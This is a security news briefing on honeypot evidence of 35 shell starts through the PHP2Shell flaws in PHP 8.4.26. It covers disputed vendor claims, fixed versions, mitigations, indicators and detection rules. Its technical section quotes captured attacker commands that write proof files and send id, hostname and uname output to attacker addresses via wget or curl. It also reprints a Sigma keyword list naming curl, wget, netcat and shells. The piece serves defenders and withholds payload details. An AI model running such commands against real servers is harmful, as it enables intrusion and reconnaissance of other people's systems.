Researcher reports 35 Apache shell starts on three PHP2Shell honeypots running PHP 8.4.26, three days after the fix

73.6 hours after the fix, three decoy servers logged the first of 35 shell starts

PHP's fixed releases were scheduled for 14:00 UTC on Wednesday 21 October 2026. At 15:35:38.673 UTC on Saturday 24 October, on a decoy web server running PHP 8.4.26 under Apache mod_php, a shell process started whose parent was an Apache worker. That is 73.6 hours, or 3.07 days, after the release (derived). In the next 3 hours 22 minutes (derived, rounded) the same researcher's sensors recorded 34 more, 35 in all, on three decoys, from two source addresses. The count and the times come from a report the honeypot operator published on GitHub, which joins packet captures to kernel process events.

What that record does not establish matters as much. The targets were disposable honeypots presenting ordinary PHP pages. They ran one Apache worker and a 128 MiB PHP memory limit, a profile the report itself calls "intentionally favorable", adding that it is not a measure of reliability on other worker counts, PHP builds or applications. The report names no real victim, and nothing in it shows a production server compromised. So "in the wild" here means on the public internet, against decoys.

It is still the strongest evidence yet published, and the history explains why. Before 24 October the public record was attempts, scanning and claims of success. Palo Alto Networks Unit 42 said on 23 October that it had seen an intrusion at a European government agency that it tied to PHP2Shell, and withdrew that on 25 October, saying it was "unable to confirm" that the initial access was tied to the PHP2Shell CVEs. CISA's alert, revised on 23 October, said it had "not observed successful exploitation" in the wild as of publication. The same honeypot operator's earlier report, covering 26 hours 43 minutes (derived) from 22 October, logged 30 out of memory errors and 11 worker crashes and confirmed no code execution. The first shell came about 14 hours (derived) after that window closed.

This briefing is a developing story. It was written from primary pages read between 09:22 and 09:48 GMT on Monday 26 October 2026. The key pages (the honeypot report, CISA, the NCSC, php.net, Unit 42, The Hacker News, the Known Exploited Vulnerabilities catalogue, NVD and the Canadian alert) were fetched from 09:22 GMT, again at 09:45 and a last time at 09:48, and none had changed in substance between reads. Nothing published after 09:48 GMT is reflected. BleepingComputer's report of 26 October, which prompted it, was read only as a pointer. Where a news sentence and a primary page disagree, this briefing follows the page and says so. It describes the stages at defender level and omits request structure, offsets and payload bytes; the sources it links publish more.

What the honeypot report counts, and how it earns the word confirmed

The operator ran six sensors and three PHP targets, labelled T1, T2 and T3, and recorded network packets, Apache requests, PHP errors and kernel process events. A shell counts only when a complete execution stage request in a packet capture is followed by a /bin/sh start whose parent is the Apache binary, running as user ID 33. The report says it treated no single alert or HTTP status as proof. The snapshot behind the counts holds 3,459 sealed segments and 10,948 files (11.21 GB), and every listed size and SHA-256 value matched.

Two things about the traffic are worth a defender's attention. First, the two source addresses are registered to hosting networks, and the report is careful: they are "two source-address clusters, not an attribution to two actors", and different addresses and commands do not establish separate actors either. Second, the commands look like testing rather than harvesting. They write proof files, or fetch a URL on the attacker's own address that embeds the target's alias or the output of id, hostname and uname. That reading is this site's inference; the report records the commands and does not state intent.

The operator also published a case evidence dataset on 26 October: per case packet captures and selected Apache, PHP, kernel event and signal records for all 35 shells, with SHA-256 sums. Honeypot addresses are aliased and the oversized cookie bytes are masked. This site read the report and the dataset README. It did not download or replay the captures, so the evidence is described as published, not independently checked here.

One publisher, with the decoys, the sensors and the analysis all in one place, is a weakness the dataset is built to answer. A threat researcher at Expel, quoted by BleepingComputer and on X, called it the highest quality confirmation of in the wild exploitation he had seen so far. That is a judgement about quality, and it was made before the dataset was released.

Stated and not stated: the record, line by line

"Not stated" means not found in the report, the PHP advisories or the other primary pages read for this briefing. It does not mean the information does not exist.

On attribution, The Hacker News reports a separate claim from the security company CYFIRMA, of a suspected North Korea linked scanning campaign using the flaws. That is secondary reporting of a vendor assessment made with moderate confidence; this site has not read CYFIRMA's report, and the honeypot report does not link either of its two addresses to any named group.

A ladder of claims: who said what about success, and when

BleepingComputer writes that Cloudflare, Hadrian, watchTowr, Previdian and Patchstack detected attempts before public disclosure "but flagged them all as unsuccessful". The pages and posts, read on 26 October, do not say that. Only Previdian states that its captured attempts failed. watchTowr's page is headed "Exploited in the wild: Yes". Cloudflare, Hadrian and Patchstack describe attempts and give no outcome. The news sentence may rest on page versions that differ from the ones read today, so this table follows each page as it stood on 26 October. The same drift shows in one quotation: BleepingComputer has Amazon's security chief saying the flaws are "now being broadly exploited in the wild", while the Amazon page as read says it is "now seeing broad exploitation attempts" in the wild.

Two lessons follow. The first is that "exploited in the wild" is a label vendors apply to attempts, and it carries no standard of evidence. watchTowr's page and the honeypot report both carry it, on very different evidence. The second is that the label outlived its correction in at least one place. The Hacker News article that carried the Unit 42 claim still has "php2shell-exploitation-hits-government" in its web address, though it now opens with the retraction and carries a different headline about attempts and suspected North Korea scanning. SecurityWeek, in a piece published on 23 October and updated on 25 October, adds that Sophos corrected an earlier update that had reported a successful exploitation. That correction is secondary here, because the Sophos page timed out when read.

The labels, and what each one does not do

The "patched" row deserves a second look. The 8.4.26 build on the decoys was not neglected; it was the latest release on the day before the fix. Every server that was fully current on 20 October was vulnerable, and the vendor's own affected range, "< 8.4.27" and its siblings, says so. The date a fix exists and the date a fleet has it are separated by whatever the organisation's patch cycle adds.

Which servers the evidence covers, and which it does not

SANS wrote on 23 October that a reliable exploit was hard to build, giving two reasons: real servers usually run a 128 MB memory limit, not the 8 MB some public examples assumed, and they run many workers, so the follow up request has to land on the right one. The honeypot chain answers the first objection, because the targets ran 128 MiB. It leaves the second where it was, because they ran one worker. That is the open question for defenders: not whether the chain works, but how much it costs against a busy server, and the report does not measure it.

The version range is itself unsettled. PHP's advisories and the CVE.org records list branches 8.2 to 8.5. NVD's configuration data, as of 23 October, lists CVE-2026-109618 from 7.3.0 and CVE-2026-109619 from 5.4.0. The UK NCSC says "any version of PHP" is affected. PHP 8.1 and older no longer receive project updates, though the project published minimal source backports for 7.4, 8.0 and 8.1, and distributions often backport a fix without changing the version number. PHP 8.2 reaches end of life on 31 December 2026, 66 days from today (derived). On severity, PHP as the CVE numbering authority scored both flaws CVSS 4.0 9.2 (network, no privileges, high complexity); NVD adds its own CVSS 3.1 scores of 9.8 for CVE-2026-109618 and 8.1 for CVE-2026-109619, and both records list use after free (CWE-416) among their weaknesses.

One captured chain, four requests and a shell

Zoom

The report names four request roles: two memory pressure requests, a disclosure request and an execution request. In the representative chains checked, the first three bodies were byte identical across both source addresses and all three targets, which is why the report treats them as one template. The fourth varied with each target's leaked address range and the command to run, which, in this site's reading, is the part that shows adaptation rather than a replayed recording. The sequence is the useful detection fact: each memory error is ordinary on its own, and so is each response. Together, within seconds, on one worker, they are not.

The third flaw, and why it is not this story

PHP also published an informational advisory on 23 October for a third flaw, CVE-2026-115560, which the fixed releases do not cover. It needs an unusual combination: a serialize handler set to php_binary or php_serialize, switched to php at runtime with ini_set() before session_start(), with session upload progress enabled. PHP suggests setting session.upload_progress.enabled=0 until the next regular bugfix release. Earlier briefings cover it, the unpatched session upload flaw and the third PHP2Shell flaw. Nothing in the honeypot report concerns it. It is mentioned because the same one line setting appears in the CVE-2026-109619 advisory and again in the one for CVE-2026-115560, and no source read says whether it would have stopped the chain that was observed.

Technical details

Everything in the code blocks below is copied from the primary pages named in each caption, read on 26 October 2026 (GMT), with live attacker addresses defanged and nothing retyped from memory. Lines this site arranged are marked. This site omits the request body structure, field layouts, offsets and the public exploit that the report links, and does not reproduce payload bytes. The report's own appendix describes the requests at the level of headers, sizes and field counts.

Versions. PHP's advisory and the two GitHub advisories give the same fixed releases. Branches below 8.2 get nothing from the project except minimal source backports for 7.4, 8.0 and 8.1. Check the PHP that serves web requests, not the command line binary: watchTowr notes that they can differ.

Update to PHP 8.5.12, 8.4.27, 8.3.36 or 8.2.35.

Distribution packages. Fixes are often backported without a version bump, so php -v alone can mislead. Cloudflare's page prints two ways to check a package changelog; the placeholder is Cloudflare's.

apt changelog <php-pkg> | grep -E "CVE-2026-10961[89]"
rpm -q --changelog <php-pkg> | grep -E "CVE-2026-10961[89]"

Stopgap settings. PHP lists these under the heading for when you cannot update immediately, and says they reduce exposure to specific attack paths and do not make an installation safe. Apply them where requests cannot override them (php.ini, the FPM pool or server configuration, with php_admin_value for the first; not ini_set() or .user.ini) and restart every worker. PHP's caveats: memory_limit=-1 removes the controllable limit but an underlying allocation failure can still reach the vulnerable path; session.upload_progress.enabled=0 blocks the confirmed session paths but not other variants; fatal_error_backtraces=0 applies to PHP 8.5 only and blocks one path; post_max_size is 8M for applications that need no uploads and 32M where uploads are necessary, with upload_max_filesize kept below it; container or cgroup limits are an availability boundary, and RLIMIT_AS or RLIMIT_DATA must not be used because they can cause the vulnerable allocation failure.

memory_limit=-1
post_max_size = 8M
post_max_size = 32M
session.upload_progress.enabled=0
fatal_error_backtraces=0

What the sensors recorded. The honeypot report prints the first confirmed execution as a timeline and the process records that follow. The attacker addresses are defanged here (hxxp and [.]); the target addresses are the report's own aliases.

15:35:32.793  15.204.59[.]70:54952  A1 POST begins; complete 1,060,211-B decoded body
15:35:33      PHP: Allowed memory size of 134217728 bytes exhausted
                (tried to allocate 4096 bytes) in Unknown on line 0
15:35:34.127  15.204.59[.]70:38108  B1 POST begins; 33,128,677-B decoded body
15:35:34.205  Apache access record (request timestamp): worker PID 31;
                disclosure-sized Set-Cookie reported for this request
15:35:37.429  15.204.59[.]70:38122  A2 POST begins; 279,369-B body
15:35:37      PHP: Allowed memory size of 134217728 bytes exhausted
                (tried to allocate 20480 bytes) in Unknown on line 0
15:35:38.238  15.204.59[.]70:38126  B2 POST begins; 451,384-B body
15:35:38.673  Tetragon: apache2 → /bin/sh, UID 33; /bin/sh → /usr/bin/id
15:35:39.379  Apache: child PID 31 exited on Segmentation fault (11)

T1 15:35:36      php_error     PHP Request Startup: Session ID is too long or contains illegal characters
T1 15:35:38.673  process_exec  apache2 → /bin/sh  uid=33
   args: id>/tmp/x1; for d in /var/www/html /var/www; do id>$d/p1; done;
         wget -q hxxp://15.204.59[.]70:8081/ok33
T1 15:35:38.674  process_exec  /bin/sh → /usr/bin/id  uid=33
T1 after B2       Apache stderr  web-root proof writes: Read-only file system; wget: not found
T3 18:08:20.091  process_exec  apache2 → /bin/sh  uid=33
   args: curl -s "hxxp://162.35.99[.]94:80/ID-$(id -un)-$(hostname)-$(uname -m)"
T3 after B2       Apache stderr  sh: 1: wget: not found

Detection. The report's summary of the strongest cross source sequence, in this site's words: chunked multipart memory pressure with a pre script Unknown on line 0 memory error; a request of about 33.1 MB followed by an unusually large PHPSESSID; a request of about 279 KB and another memory error; then a request of about 451 KB followed by a shell under Apache. A worker crash may come between stages or right after the shell starts. The client in the successful chains sent no User-Agent, used a ten character C multipart boundary, and kept a fixed header order: Host, Content-Type, Transfer-Encoding, Connection for chunked requests, and Host, Content-Type, Content-Length, Connection for fixed length ones. These are features of this campaign's client and are easy to change. The sensors saw HTTP 200 on the memory pressure requests and a Segmentation fault exit, while ReliaQuest's lab reproduction logged an HTTP 500 and an Abort (6) exit, so keying on one status code or one signal would miss one of them.

PHP Fatal error: Allowed memory size ... exhausted``in Unknown on line 0``pid=33 "POST /wp-login.php HTTP/1.1" 500``zend_mm_heap corrupted``AH00052: child pid 33 exit signal Abort (6)

Indicators. The report publishes source addresses, and SHA-256 sums of the three fixed decoded request bodies. Amazon publishes six addresses and warns that they include shared anonymisation infrastructure and should be investigated rather than blocked blindly. The report labels the last two addresses in the first group attempt indicators, not confirmed RCE sources. Hashes identify a payload family, not an outcome: the report notes that the second hash also appears in its earlier attempt only report, where it preceded crashes with no confirmed execution.

Confirmed shell sources (honeypot operator, 24 October):
15.204.59[.]70   OVH US LLC (15.204.0.0/16), episode A, 3 shells on T1
162.35.99[.]94   Interserver, Inc (162.35.96.0/19), episode B, 32 shells on T1, T2, T3
Attempt indicators, no shell or disclosure cookie observed:
104.28.208[.]84
144.48.4[.]242

SHA-256 of decoded multipart request bodies:
A1  8e8fc166e6b326d20bb7611d8ef3cee3bd5da46447985312c1492ab0a44d1eb6
B1  b6c547e0e9a2bb26607df1521de96f4d5c9adf4621c28b7ab491587b21ae40f2
A2  7af66c8f35c5fa6b47a539da6dca361d19543d9f62d61e4af891c2802bd5e236

Amazon Threat Intelligence MadPot observations:
103.216.220[.]92   17 October
31.223.184[.]166   21 October
37.19.200[.]5      21 October
134.209.159[.]64   21 October
103.114.163[.]188  21 October
95.217.98[.]37     21 October

Hunting rules. CISA's alert points to a Sigma rule, which is US government work. The excerpt below is its detection logic: the PHP error strings, the upload progress field name, and the shells and tools to look for under a web server process. The rule's own header says the false positive rate is medium to high, and short keywords such as id and nc will match widely, so tune it. Its long indicator list and the condition line are in the CISA repository.

title: Detects PHP2Shell CVE-2026-109618 CVE-2026-109619 RCE Exploitation Attempts
id: 8cb1e757-5593-4f87-9e3d-79f17c89f799
status: test
author: CISA
date: 2026-10-21
modified: 2026-10-23
    keywords_5:
        - 'PHP_SESSION_UPLOAD_PROGRESS'
    keywords_6:
        - 'php-cgi'
        - 'apache2'
        - 'httpd'
        - 'php-fpm'
        - 'mod-php'
    keywords_7:
        - '/bin/sh'
        - '/bin/bash'
        - 'cmd'
        - 'powershell'
        - 'python'
        - 'curl'
        - 'wget'
        - 'netcat'
        - 'nc'
        - 'whoami'
        - 'id'
        - 'uname '
    keywords_8:
        - 'PHP Fatal error:'
    keywords_9:
        - 'Allowed memory'
    keywords_10:
        - ' in Unknown '
falsepositives:
    - Rate of FP medium-high with some strings/branches. 
level: critical

Audit settings. PHP's CVE-2026-109619 advisory tells defenders to enable error logging in startup configuration during an isolated audit, with a working error log, and to review the Apache, PHP FPM, proxy and service logs for repeated warnings and deprecations before target scripts run, diagnostics during extension or server cleanup, fatal, parse and uncaught errors, and execution time errors. It warns that a clean log is not proof of safety.

log_errors=On
error_reporting=E_ALL

Process level hunting. Unit 42 published a query for Cortex XDR that looks for command execution under PHP and web server processes, and says it is not specific to these CVEs and may produce false positives. Its first lines show the approach; the rest is on the Unit 42 page.

config case_sensitive = false
| dataset = xdr_data
| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and action_process_image_name != null

UK: what the NCSC said, and when

The UK National Cyber Security Centre published an alert on 21 October 2026, the day of the fix. It says organisations using "any version of PHP" are affected, tells them to identify PHP systems and update the internet facing ones first, and, where they cannot update or apply PHP's temporary mitigations, to consider taking the system offline. It adds that anyone who cannot update or disable a system straight away should assess it for evidence of compromise and look for backdoors, using an NCSC assured incident response provider if needed. It points to a Dutch inventory of products that embed PHP. The alert does not state that the flaws were being exploited, and it closes with "The NCSC will continue to monitor for any impact on UK organisations." The page shows no later revision date as read on 26 October, so it predates the honeypot report by three days.

What to do, in the order worth doing it

The question that exposes the gap

The first shell started 73.6 hours after the fix, on a build that had been the newest release the day before it. If a worker on one of your servers had started a shell at that moment, which log would have shown it, and who reads that log on a Saturday?

Key facts